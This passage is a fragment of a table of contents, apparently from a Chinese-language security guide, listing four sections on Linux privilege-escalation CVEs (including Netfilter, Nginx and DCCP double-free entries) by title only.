      6. 2.11.6. CVE-2017-1000364
      7. 2.11.7. CVE-2022-34918(Net-filter)
      8. 2.11.8. CVE-2016-1247(Nginx权限提升漏洞)
      9. 2.11.9. CVE-2017-6074(DCCP双重释放漏洞 > 2.6.18)